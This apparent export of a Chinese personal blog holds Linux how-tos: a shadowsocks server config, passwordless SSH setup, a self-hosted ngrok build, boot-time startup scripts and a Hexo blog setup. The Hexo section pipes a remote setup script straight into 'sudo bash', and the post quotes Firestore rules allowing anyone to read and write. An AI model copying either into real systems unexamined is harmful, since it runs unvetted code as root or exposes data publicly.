<figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;server&quot;</span><span class="punctuation">:</span><span class="string">&quot;0.0.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;server_port&quot;</span><span class="punctuation">:</span><span class="number">443</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;local_address&quot;</span><span class="punctuation">:</span><span class="string">&quot;127.0.0.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;local_port&quot;</span><span class="punctuation">:</span><span class="number">1080</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span><span class="string">&quot;yourpassword&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;timeout&quot;</span><span class="punctuation">:</span><span class="number">300</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;method&quot;</span><span class="punctuation">:</span><span class="string">&quot;chacha20&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;fast_open&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure>

<p>保存</p>
<p>一般443端口哦都用于提供https服务，server_port 设置为443也许能减少被gfw干掉的概率（反正是玄学）</p>
<h3 id="启动shadowsocks"><a href="#启动shadowsocks" class="headerlink" title="启动shadowsocks"></a>启动shadowsocks</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ssserver -c ss.json -d start</span><br></pre></td></tr></table></figure>


]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>ssh配置</title>
    <url>/linux/configure-ssh/</url>
    <content><![CDATA[<p>本文用于记录一些常用的ssh配置</p>
<h2 id="免密码登陆-vps"><a href="#免密码登陆-vps" class="headerlink" title="免密码登陆 vps"></a>免密码登陆 vps</h2><p>对于经常连接vps的人，每次都需要输入密码是非常无趣的事，可以通过生成生成公钥私钥，免密码使用ssh连接vps</p>
<p>假设A为本地主机，B为被控机器，欲连接的用户为user ip：1.1.1.1</p>
<h3 id="A的命令"><a href="#A的命令" class="headerlink" title="A的命令"></a>A的命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 生成公钥私钥 可以指定私钥的密码以及生成位置</span></span><br><span class="line"><span class="comment"># 默认生成到 ~/.ssh/id_rsa.pub ~/.ssh/id_rsa</span></span><br><span class="line">ssh-keygen -t rsa</span><br><span class="line"><span class="comment"># 在B创建.ssh文件夹并设置权限为700（本用户可读可写可执行，需要输入B机器密码）</span></span><br><span class="line">ssh user@1.1.1.1 <span class="string">&quot;mkdir .ssh; chmod 0700 .ssh&quot;</span> </span><br><span class="line"><span class="comment">#考虑到B机器可能已经存在了公钥，仅复制公钥到被控机器（需要输入B机器密码）</span></span><br><span class="line">scp ~/.ssh/id_rsa.pub user@1.1.1.1:~/.ssh/id_rsa.pub </span><br></pre></td></tr></table></figure>

<span id="more"></span>

<h3 id="B的命令"><a href="#B的命令" class="headerlink" title="B的命令"></a>B的命令</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 设置authorized_keys权限为600（本用户可读可写）</span></span><br><span class="line"><span class="built_in">chmod</span> 600 ~/.ssh/authorized_keys</span><br><span class="line"><span class="comment"># 避免覆盖原有公钥，将公钥追加在authorized_keys尾部</span></span><br><span class="line"><span class="built_in">cat</span>  ~/.ssh/id_rsa.pub &gt;&gt; ~/.ssh/authorized_keys </span><br></pre></td></tr></table></figure>

<h3 id="效果"><a href="#效果" class="headerlink" title="效果"></a>效果</h3><p>A机器可直接用ssh连接B机器不用输入密码，若是需要制定别的私钥文件，用参数**-i**即可</p>
<h2 id="避免ssh连接因超时闲置断开"><a href="#避免ssh连接因超时闲置断开" class="headerlink" title="避免ssh连接因超时闲置断开"></a>避免ssh连接因超时闲置断开</h2><p>在使用ssh时，常常因为长时间不操作而被服务器踢出，解决这种问题一般有两种方法</p>
<h3 id="方法1"><a href="#方法1" class="headerlink" title="方法1"></a>方法1</h3><p>只需在客户端电脑上编辑<code>/etc/ssh/ssh_config</code>，修改<code>ServerAliveInterval</code>的值为60</p>
<p>若<code>ServerAliveInterval</code>不存在，只需执行</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;ServerAliveInterval 60&quot;</span> &gt;&gt; /etc/ssh/ssh_config</span><br></pre></td></tr></table></figure>

<p>之后本机连接任何服务器都会保持连接</p>
<p>（需要root权限）</p>
<h3 id="方法2"><a href="#方法2" class="headerlink" title="方法2"></a>方法2</h3><p>只需在服务器上编辑<code>/etc/ssh/ssh_config</code>，修改<code>ClientAliveInterval</code>的值为60</p>
<p>若<code>ClientAliveInterval</code>不存在，只需执行</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&quot;ClientAliveInterval 60&quot;</span> &gt;&gt; /etc/ssh/ssh_config</span><br></pre></td></tr></table></figure>

<p>（需要root权限）</p>
<p>重启ssh server后该设置会生效</p>
<p>但是每个连接到此服务器的客户端都会受影响，启用后服务器安全性可能会下降（比如忘记登出）</p>
]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>搭建ngrok服务器</title>
    <url>/linux/deploy-ngrok-server/</url>
    <content><![CDATA[<p><strong>ngrok已经不再维护了，建议使用frp</strong></p>
<p>如今ipv4资源日渐匮乏，静态公网ip不容易获取，若是想从公网访问本机资源将会变得比较麻烦，ngrok可以通过流量转发来实现内网穿透，让外网更加容易访问本机资源。</p>
<h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><ol>
<li>一个有固定公网ip的服务器</li>
<li>一个域名</li>
<li>把某个子域名以及其泛解析解析到服务器</li>
</ol>
<p>例： 将<code>ngrok.plusls.com</code>解析为<code>1.2.3.4</code></p>
<p>并将<code>*.ngrok.plusls.com</code>解析为<code>1.2.3.4</code></p>
<span id="more"></span>


<h2 id="生成可执行文件"><a href="#生成可执行文件" class="headerlink" title="生成可执行文件"></a>生成可执行文件</h2><h3 id="下载源码"><a href="#下载源码" class="headerlink" title="下载源码"></a>下载源码</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/inconshreveable/ngrok.git</span><br></pre></td></tr></table></figure>

<h3 id="生成自签名证书"><a href="#生成自签名证书" class="headerlink" title="生成自签名证书"></a>生成自签名证书</h3><p>生成证书需要提供一个<code>NGROK_BASE_DOMAIN</code>，要求该地址指向服务器地址，在本次的例子中则是<code>ngrok.plusls.com</code>，若是NGROK_BASE_DOMAIN与连接时提供的域名不同，则无法连接</p>
<p>执行</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">NGROK_BASE_DOMAIN=<span class="string">&quot;ngrok.plusls.com&quot;</span></span><br><span class="line">openssl genrsa -out rootCA.key 2048</span><br><span class="line">$ openssl req -x509 -new -nodes -key rootCA.key -subj <span class="string">&quot;/CN=&quot;</span><span class="variable">$&#123;NGROK_BASE_DOMAIN&#125;</span> -days 5000 -out rootCA.pem</span><br><span class="line">openssl genrsa -out device.key 2048</span><br><span class="line">openssl req -new -key device.key -subj <span class="string">&quot;/CN=&quot;</span><span class="variable">$&#123;NGROK_BASE_DOMAIN&#125;</span> -out device.csr</span><br><span class="line">openssl x509 -req -<span class="keyword">in</span> device.csr -CA rootCA.pem -CAkey rootCA.key -CAcreateserial -out device.crt -days 5000</span><br></pre></td></tr></table></figure>

<p>执行完成后会生成<code>device.crt</code>，<code>divice.csr</code>，<code>device.key</code>，<code>rootCA.key</code>，<code>rootCA.pem</code>，<code>rootCA.srl</code></p>
<p>ngrok会把ngrok源码下的assets目录编译到ngrokd和ngrok中，<code>assets/client/tls</code>和<code>assets/server/tls</code>下分别存放着客户端和服务器的默认证书文件，接下来把它们替换为刚才生成的</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cp</span> rootCA.pem assets/client/tls/ngrokroot.crt</span><br><span class="line"><span class="built_in">cp</span> device.crt assets/server/tls/snakeoil.crt</span><br><span class="line"><span class="built_in">cp</span> device.key assets/server/tls/snakeoil.key</span><br></pre></td></tr></table></figure>

<h3 id="编译"><a href="#编译" class="headerlink" title="编译"></a>编译</h3><p>在ngrok目录执行</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">make release-server release-client</span><br></pre></td></tr></table></figure>

<h2 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h2><h3 id="服务端"><a href="#服务端" class="headerlink" title="服务端"></a>服务端</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ngrokd -domain=<span class="string">&quot;ngrok.plusls.com&quot;</span></span><br></pre></td></tr></table></figure>

<p>若出现</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[03/29/17 20:51:30] [INFO] [registry] [tun] No affinity cache specified</span><br><span class="line">[03/29/17 20:51:30] [INFO] [metrics] Reporting every 30 seconds</span><br><span class="line">[03/29/17 20:51:30] [INFO] Listening <span class="keyword">for</span> public http connections on [::]:80</span><br><span class="line">[03/29/17 20:51:30] [INFO] Listening <span class="keyword">for</span> public https connections on [::]:443</span><br><span class="line">[03/29/17 20:51:30] [INFO] Listening <span class="keyword">for</span> control and proxy connections on [::]:4443</span><br></pre></td></tr></table></figure>

<p>则说明启动成功</p>
<p>注：</p>
<ol>
<li>domain不一定是刚刚的，可以是其它的，但是必须解析到服务器上</li>
<li>可以用<code>-httpAddr=&quot;:80&quot;</code>指定web转发的端口，如果不为80则访问时需要加上端口号</li>
</ol>
<h3 id="客户端"><a href="#客户端" class="headerlink" title="客户端"></a>客户端</h3><p>将生成的ngrok下载到电脑后，在主目录创建<code>.ngrok</code>（默认配置文件位置，也可以用<code>-config=xxxx</code>指定配置文件）</p>
<p>输入</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">server_addr: <span class="string">&quot;ngrok.plusls.com:4443&quot;</span></span><br><span class="line">trust_host_root_certs: <span class="literal">false</span></span><br><span class="line">tunnels:</span><br><span class="line">  ssh:</span><br><span class="line">    remote_port: 221</span><br><span class="line">    proto:</span><br><span class="line">      tcp: 22</span><br><span class="line">  web:</span><br><span class="line">    subdomain: hahahah</span><br><span class="line">    proto:</span><br><span class="line">      http: 80</span><br></pre></td></tr></table></figure>

<p>子域名，端口，目标端口可自行配置</p>
<p><code>server_addr必须与前面相同！否则无法连接服务器</code></p>
<p>之后执行</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">./ngrok start-all</span><br></pre></td></tr></table></figure>
<p>若是看到</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ngrok                                                                                       (Ctrl+C to quit)</span><br><span class="line">                                                                                         </span><br><span class="line">Tunnel Status                 online                                                     </span><br><span class="line">Version                       1.7/1.7                                                     </span><br><span class="line">Forwarding                    xxxx:xxx -&gt; xxxx:xxx</span><br></pre></td></tr></table></figure>

<p>则说明成功</p>
<p>其它指令可以自行查看帮助</p>
]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>linux开机启动项设置</title>
    <url>/linux/run-programs-on-startup/</url>
    <content><![CDATA[<h2 id="添加自定义启动脚本"><a href="#添加自定义启动脚本" class="headerlink" title="添加自定义启动脚本"></a>添加自定义启动脚本</h2><p>在使用linux时常常需要自己写一些脚本程序使之开机启动，这时就要借助<code>/etc/rc.local</code>这个文件来帮助我们完成这个任务</p>
<h3 id="关于-rc-local"><a href="#关于-rc-local" class="headerlink" title="关于 rc.local"></a>关于 rc.local</h3><p><strong>rc.local快要被废弃了</strong></p>
<p>下面是rc.local中的注释</p>
<blockquote>
<p>This script is executed at the end of each multiuser runlevel.Make sure that the script will “exit 0” on success or any other value on error.<br>In order to enable or disable this script just change the execution bits.<br>By default this script does nothing.</p>
</blockquote>
<p>简单来讲rc.local中将会放置使用者自定义的开机启动程序，在linux启动的最后阶段，系统将会执行其中的在<code>exit 0</code>之前的命令</p>
<span id="more"></span>

<h3 id="添加启动项"><a href="#添加启动项" class="headerlink" title="添加启动项"></a>添加启动项</h3><p>知道rc.local的作用后，添加开机启动项将会变得轻而易举</p>
<p>下面是例子：</p>
<p><strong>开机执行命令</strong></p>
<p>希望开机的时候启动shadowsocks，只需要在<code>exit 0</code>前面添加</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sslocal -c ss.conf</span><br></pre></td></tr></table></figure>

<p><strong>开机执行脚本</strong></p>
<p>希望开机执行’&#x2F;home&#x2F;plusls&#x2F;ss.sh’，只需在<code>exit 0</code>前添加（需保证该脚本有可执行权限）</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/home/plusls/ss.sh</span><br></pre></td></tr></table></figure>

<h2 id="设置服务开机启动"><a href="#设置服务开机启动" class="headerlink" title="设置服务开机启动"></a>设置服务开机启动</h2><p>这里的服务指 sysV 编写的启动脚本</p>
<h3 id="关于服务"><a href="#关于服务" class="headerlink" title="关于服务"></a>关于服务</h3><p>与windows一样，linux同样存在服务的概念，控制服务运行的脚本，存放于<code>/etc/init.d</code>中</p>
<h3 id="查询服务状态"><a href="#查询服务状态" class="headerlink" title="查询服务状态"></a>查询服务状态</h3><p>通过<code>service servicename status</code>查看服务状态</p>
<p>例：</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@plusls-chromebook:~$ sudo service l2tpd  status</span><br><span class="line">● xl2tpd.service - LSB: layer 2 tunelling protocol daemon</span><br><span class="line">   Loaded: loaded (/etc/init.d/xl2tpd; generated; vendor preset: enabled)</span><br><span class="line">   Active: inactive (dead)</span><br><span class="line">     Docs: man:systemd-sysv-generator(8)</span><br></pre></td></tr></table></figure>

<h3 id="设置服务状态（对于debian系的系统）"><a href="#设置服务状态（对于debian系的系统）" class="headerlink" title="设置服务状态（对于debian系的系统）"></a>设置服务状态（对于debian系的系统）</h3><p>可以通过<code>service servicename status</code>来设置服务状态，status一般包括<strong>start,restart,stop</strong>（设置的状态仅对当前有效）</p>
<p>例：</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">service sshd stop</span><br></pre></td></tr></table></figure>

<h3 id="禁用服务开机启动"><a href="#禁用服务开机启动" class="headerlink" title="禁用服务开机启动"></a>禁用服务开机启动</h3><p>例:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">update-rc.d -f apache2 remove</span><br></pre></td></tr></table></figure>

<p>参数-f是强制删除符号链接</p>
<h3 id="增加服务开机启动"><a href="#增加服务开机启动" class="headerlink" title="增加服务开机启动"></a>增加服务开机启动</h3><p>例:</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">update-rc.d apache2 defaults</span><br></pre></td></tr></table></figure>
]]></content>
      <categories>
        <category>linux</category>
      </categories>
  </entry>
  <entry>
    <title>Hexo 博客搭建</title>
    <url>/misc/use-hexo-with-github-actions/</url>
    <content><![CDATA[<p>旧博客已经很久没更新了，考研结束重新回到CS的生活后，发现自己自从博客停更后就停止了学习，和同龄人之间的差距越来越大了。为了激励自己，我决定重开博客，慢慢将旧博客的文章迁移到hexo上。</p>
<p>这篇文章用于记录折腾hexo的过程。</p>
<p>折腾完 Github Action 后的效果如下：</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/github-actions-success.png" alt="github-actions-success.png"></p>
<p>每次push后都会自动部署</p>
<span id="more"></span>

<h2 id="安装nodejs"><a href="#安装nodejs" class="headerlink" title="安装nodejs"></a>安装nodejs</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">curl -sL https://deb.nodesource.com/setup_13.x | sudo -E bash -</span><br><span class="line">sudo apt-get install -y nodejs</span><br></pre></td></tr></table></figure>

<h2 id="npm换源以及配置npm模块安装位置（可选）"><a href="#npm换源以及配置npm模块安装位置（可选）" class="headerlink" title="npm换源以及配置npm模块安装位置（可选）"></a>npm换源以及配置npm模块安装位置（可选）</h2><p>个人一直比较反感将模块安装到root权限的目录，于是更改了node模块的安装目录</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">npm config <span class="built_in">set</span> registry https://registry.npm.taobao.org</span><br><span class="line">npm config <span class="built_in">set</span> prefix <span class="variable">$&#123;HOME&#125;</span>/.npm_packages</span><br></pre></td></tr></table></figure>

<p>配置后npm的模块会被安装到<code>$&#123;HOME&#125;/.npm_packages</code>，可执行文件会在<code>$&#123;HOME&#125;/.npm_packages/bin</code>下</p>
<p>因此需要更新<code>PATH</code>，根据个人用的shell修改.bashrc或者.zshrc</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$HOME</span>/.npm_packages/bin:<span class="variable">$PATH</span>&quot;</span></span><br></pre></td></tr></table></figure>

<h2 id="安装hexo并初始化博客"><a href="#安装hexo并初始化博客" class="headerlink" title="安装hexo并初始化博客"></a>安装hexo并初始化博客</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">npm install -g hexo-cli</span><br><span class="line">hexo init blog</span><br></pre></td></tr></table></figure>

<p>执行后会在当前目录下新生成一个blog目录，里面包含了生成博客所需要的数据</p>
<p>博客的配置文件为_config.yml</p>
<p>写完博客后可以先在本地进行预览</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hexo generate</span><br><span class="line">hexo server</span><br></pre></td></tr></table></figure>

<p>可以访问<code>127.0.0.1:4000</code>对博客进行预览</p>
<h2 id="个人配置"><a href="#个人配置" class="headerlink" title="个人配置"></a>个人配置</h2><h3 id="隐藏index-html"><a href="#隐藏index-html" class="headerlink" title="隐藏index.html"></a>隐藏index.html</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">pretty_urls:</span></span><br><span class="line">  <span class="attr">trailing_index:</span> <span class="literal">false</span> <span class="comment"># Set to false to remove trailing &#x27;index.html&#x27; from permalinks</span></span><br><span class="line">  <span class="attr">trailing_html:</span> <span class="literal">false</span> <span class="comment"># Set to false to remove trailing &#x27;.html&#x27; from permalinks</span></span><br></pre></td></tr></table></figure>

<h3 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h3><p>hexo默认是把文章全都塞_posts下，为了方便整理博文，我手动为博文建立了不同的目录用于分类</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">plusls@hyperv-debian &gt; ~/github/blog/source &gt; tree</span><br><span class="line">.</span><br><span class="line">├── categories</span><br><span class="line">│   ├── index</span><br><span class="line">│   └── index.md</span><br><span class="line">├── CNAME</span><br><span class="line">├── _data</span><br><span class="line">│   └── next.yml</span><br><span class="line">└── _posts</span><br><span class="line">    ├── misc</span><br><span class="line">    │   └── use-hexo-with-github-actions.md</span><br><span class="line">    └── windows</span><br><span class="line">        └── kms</span><br><span class="line">            ├── configure-kms-server.md</span><br><span class="line">            └── use-kms-server.md</span><br></pre></td></tr></table></figure>

<p>默认情况下hexo的url是按照日期来生成的, 若是按照我这样分类博文，并修改配置文件</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">permalink:</span> <span class="string">:title/</span></span><br></pre></td></tr></table></figure>

<p>以<code>use-kms-server</code>这篇博文为例，它最后生成的url为 </p>
<p><a href="https://blog.plusls.com/windows/kms/configure-kms-server/">https://blog.plusls.com/windows/kms/configure-kms-server/</a></p>
<p>大大的提高了可读性，被搜索引擎索引后链接也会比较好看</p>
<h3 id="启用资源文件夹"><a href="#启用资源文件夹" class="headerlink" title="启用资源文件夹"></a>启用资源文件夹</h3><p><a href="https://hexo.io/zh-cn/docs/asset-folders">https://hexo.io/zh-cn/docs/asset-folders</a></p>
<p>主要为了解决附件，图片存放的问题</p>
<h3 id="图片以及附件"><a href="#图片以及附件" class="headerlink" title="图片以及附件"></a>图片以及附件</h3><p>在启用资源文件夹后把图片和资源扔进去，就可以在markdown内直接使用markdown语法进行引用</p>
<p>但是存在一个问题，一般引用资源文件夹的图片时都使用的相对目录，一个图片能在博文页面正常显示，但是在主页的摘要中就会挂掉</p>
<p>网上的搜索结果基本上都指向了<code>hexo-asset-image</code>这个插件，但是这个插件在隐藏掉<code>index.html</code>后会出现bug</p>
<p>我fork到自己仓库后魔改了一下，好像能正常工作，未经过完整的测试</p>
<p>可以使用如下命令安装我修改后的插件</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">npm install github:plusls/hexo-asset-image --save</span><br></pre></td></tr></table></figure>

<h3 id="解决渲染非markdown文件的问题"><a href="#解决渲染非markdown文件的问题" class="headerlink" title="解决渲染非markdown文件的问题"></a>解决渲染非markdown文件的问题</h3><p>hexo在开启资料文件夹后，仍然会渲染资料文件夹内的文件，目前已知会渲染<code>js, css, json</code>，github上已经有人针对这个问题提了issue</p>
<p><a href="https://github.com/hexojs/hexo/issues/1490">https://github.com/hexojs/hexo/issues/1490</a></p>
<p>看起来官方不打算解决的样子</p>
<p>临时的解决方案为，修改<code>_config.yml</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">skip_render:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">_posts/**/*.js</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">_posts/**/*.css</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">_posts/**/*.json</span></span><br></pre></td></tr></table></figure>

<h3 id="让博文的url变得有意义"><a href="#让博文的url变得有意义" class="headerlink" title="让博文的url变得有意义"></a>让博文的url变得有意义</h3><p>以use-hexo-with-github-actions这篇文章为例，它的url为 <a href="https://blog.plusls.com/misc/use-hexo-with-github-actions/">https://blog.plusls.com/misc/use-hexo-with-github-actions/</a></p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/post-url.png" alt="post-url.png"></p>
<p>我希望能让 <a href="https://blog.plusls.com/misc/">https://blog.plusls.com/misc/</a> 也变得有意义，能访问相应的category</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/category-url.png" alt="category-url.png"></p>
<p>只需要保证博文中的category设置正确</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> [<span class="string">misc</span>]</span><br></pre></td></tr></table></figure>

<p>若是博文存放在<code>source\_posts\aaaa\bbbb\cccc.md</code></p>
<p>则博文中的category需要修改为</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> [<span class="string">aaaa</span>, <span class="string">bbbb</span>]</span><br></pre></td></tr></table></figure>

<p>随后修改<code>_config.yml</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">category_dir:</span> <span class="string">&#x27;&#x27;</span></span><br></pre></td></tr></table></figure>

<h3 id="更换主题"><a href="#更换主题" class="headerlink" title="更换主题"></a>更换主题</h3><p>默认主题真的8行，看了一圈，最后还是决定使用next: <a href="https://github.com/theme-next/hexo-theme-next">https://github.com/theme-next/hexo-theme-next</a></p>
<p>为了方便主题的更新以及缩小博客git仓库的体积，使用了submodule，顺便把默认主题删了</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git submodule add https://github.com/theme-next/hexo-theme-next themes/next</span><br></pre></td></tr></table></figure>

<p>clone结束后把<code>_config.yml</code>的theme修改为<code>next</code>即可</p>
<h2 id="next主题配置"><a href="#next主题配置" class="headerlink" title="next主题配置"></a>next主题配置</h2><p>为了方便主题的更新，我并没有直接修改主题目录下的配置，而是将配置文件复制到了</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">source/_data/next.yml</span><br></pre></td></tr></table></figure>

<h3 id="启用categories"><a href="#启用categories" class="headerlink" title="启用categories"></a>启用categories</h3><p>个人感觉next的tag比较鸡肋，并未启用，只启用了categories</p>
<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">hexo new page categories</span><br></pre></td></tr></table></figure>

<p>新建categories page后修改<code>source/categories.md</code>，加上<code>type: &quot;categories&quot;</code></p>
<p>同时修改<code>next.yml</code></p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">menu:</span></span><br><span class="line">  <span class="attr">home:</span> <span class="string">/</span> <span class="string">||</span> <span class="string">home</span></span><br><span class="line">  <span class="attr">about:</span> <span class="string">/about/</span> <span class="string">||</span> <span class="string">user</span></span><br><span class="line">  <span class="comment">#tags: /tags/ || tags</span></span><br><span class="line">  <span class="attr">categories:</span> <span class="string">/categories/</span> <span class="string">||</span> <span class="string">th</span></span><br><span class="line">  <span class="attr">archives:</span> <span class="string">/archives/</span> <span class="string">||</span> <span class="string">archive</span></span><br><span class="line">  <span class="comment">#schedule: /schedule/ || calendar</span></span><br><span class="line">  <span class="comment">#sitemap: /sitemap.xml || sitemap</span></span><br><span class="line">  <span class="comment">#commonweal: /404/ || heartbeat</span></span><br></pre></td></tr></table></figure>

<h3 id="评论"><a href="#评论" class="headerlink" title="评论"></a>评论</h3><p>本来打算使用 Disqus，考虑到它被墙了，又不放心国内的评论系统，最后选择了 <a href="https://github.com/gitalk/gitalk">gitalk</a></p>
<p>Gitalk 是基于 github 的 issue 系统做的，它要求用户评论时先用 github 登录，用户评论就相当于在我博客的 issue 区评论， Gitalk 会自动化的把评论提交到 issue 以及从 issue 区域爬取评论显示在博文下面</p>
<p>Gitalk 使用了github 的 OAuth， 因此需要注册一个 Github application</p>
<p>链接：<a href="https://github.com/settings/applications/new">https://github.com/settings/applications/new</a></p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/create-oauth.png" alt="create-oauth.png"></p>
<p>Homepage URL 和 Authorization callback URL填写自己博客的地址，剩下的随意</p>
<p>注册完成后会来到如下页面，把 client_id 和 client_secret 填到next主题的配置文件即可</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/oauth-token.png" alt="oauth-token.png"></p>
<p>样例配置：</p>
<figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="attr">gitalk:</span></span><br><span class="line">  <span class="attr">enable:</span> <span class="literal">true</span></span><br><span class="line">  <span class="attr">github_id:</span> <span class="string">plusls</span> <span class="comment"># GitHub repo owner</span></span><br><span class="line">  <span class="attr">repo:</span> <span class="string">plusls.github.io</span> <span class="comment"># Repository name to store issues</span></span><br><span class="line">  <span class="attr">client_id:</span> <span class="string">xxxxxx</span> <span class="comment"># GitHub Application Client ID</span></span><br><span class="line">  <span class="attr">client_secret:</span> <span class="string">xxxxxxx</span> <span class="comment"># GitHub Application Client Secret</span></span><br><span class="line">  <span class="attr">admin_user:</span> <span class="string">plusls</span> <span class="comment"># GitHub repo owner and collaborators, only these guys can initialize gitHub issues</span></span><br><span class="line">  <span class="attr">distraction_free_mode:</span> <span class="literal">true</span> <span class="comment"># Facebook-like distraction free mode</span></span><br><span class="line">  <span class="comment"># Gitalk&#x27;s display language depends on user&#x27;s browser or system environment</span></span><br><span class="line">  <span class="comment"># If you want everyone visiting your site to see a uniform language, you can set a force language value</span></span><br><span class="line">  <span class="comment"># Available values: en | es-ES | fr | ru | zh-CN | zh-TW</span></span><br><span class="line">  <span class="attr">language:</span></span><br></pre></td></tr></table></figure>

<p>配置完成后打开博文会发现，博文下方提示 issues not found.</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/issues-not-found.png" alt="issues-not-found.png"></p>
<p>这是因为该博文的对应的 issue 还没有创建，登陆后需要亲自遍历所有博文来为每个博文创建issue</p>
<p>创建后的 issue 类似下图</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/blog-issue.png" alt="blog-issue.png"></p>
<p>每篇博文都会有个对应的 issue</p>
<p><img data-src="/misc/use-hexo-with-github-actions/img/blog-issues-list.png" alt="blog-issues-list.png"></p>
<h3 id="访问量统计"><a href="#访问量统计" class="headerlink" title="访问量统计"></a>访问量统计</h3><p>本来想使用 firebase 结果发现被墙了</p>
<p>而且 firebase 有个坑点，需要把数据库配置为公开的，根据文档进行操作：</p>
<p><a href="https://firebase.google.com/docs/database/security/quickstart?hl=zh-cn#sample-rules">https://firebase.google.com/docs/database/security/quickstart?hl=zh-cn#sample-rules</a></p>
<p>规则如下：</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">rules_version = &#x27;2&#x27;;</span><br><span class="line">service cloud.firestore &#123;</span><br><span class="line">  match /databases/&#123;database&#125;/documents &#123;</span><br><span class="line">    match /&#123;document=**&#125; &#123;</span><br><span class="line">      allow read, write: if true;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>尝试用了一下 busuanzi 它的统计好像有点问题，只能在 post 页面显示，在主页显示不出，最后决定使用 leancloud_visitors</p>
<p>教程：</p>
<p><a href="https://github.com/theme-next/hexo-theme-next/blob/master/docs/zh-CN/LEANCLOUD-COUNTER-SECURITY.md">https://github.com/theme-next/hexo-theme-next/blob/master/docs/zh-CN/LEANCLOUD-COUNTER-SECURITY.md</a></p>
<h3 id="next-的杂七杂八的配置"><a href="#next-的杂七杂八的配置" class="headerlink" title="next 的杂七杂八的配置"></a>next 的杂七杂八的配置</h3><p>仅作记录，具体怎么配置可查阅文档：<a href="https://theme-next.iissnan.com/theme-settings.html">https://theme-next.iissnan.com/theme-settings.html</a></p>
<ul>
<li>谷歌分析</li>
<li>头像以及头像旋转</li>
<li>社交信息，比如 Github，Email</li>
<li>字数统计</li>
<li>代码块配置</li>
<li>github banner</li>
<li>favicon</li>
<li>友链没使用next自带的，自己新建了一个页面</li>
<li>捐赠</li>
<li>menu badges</li>
<li>SEO</li>
<li>license</li>
</ul>
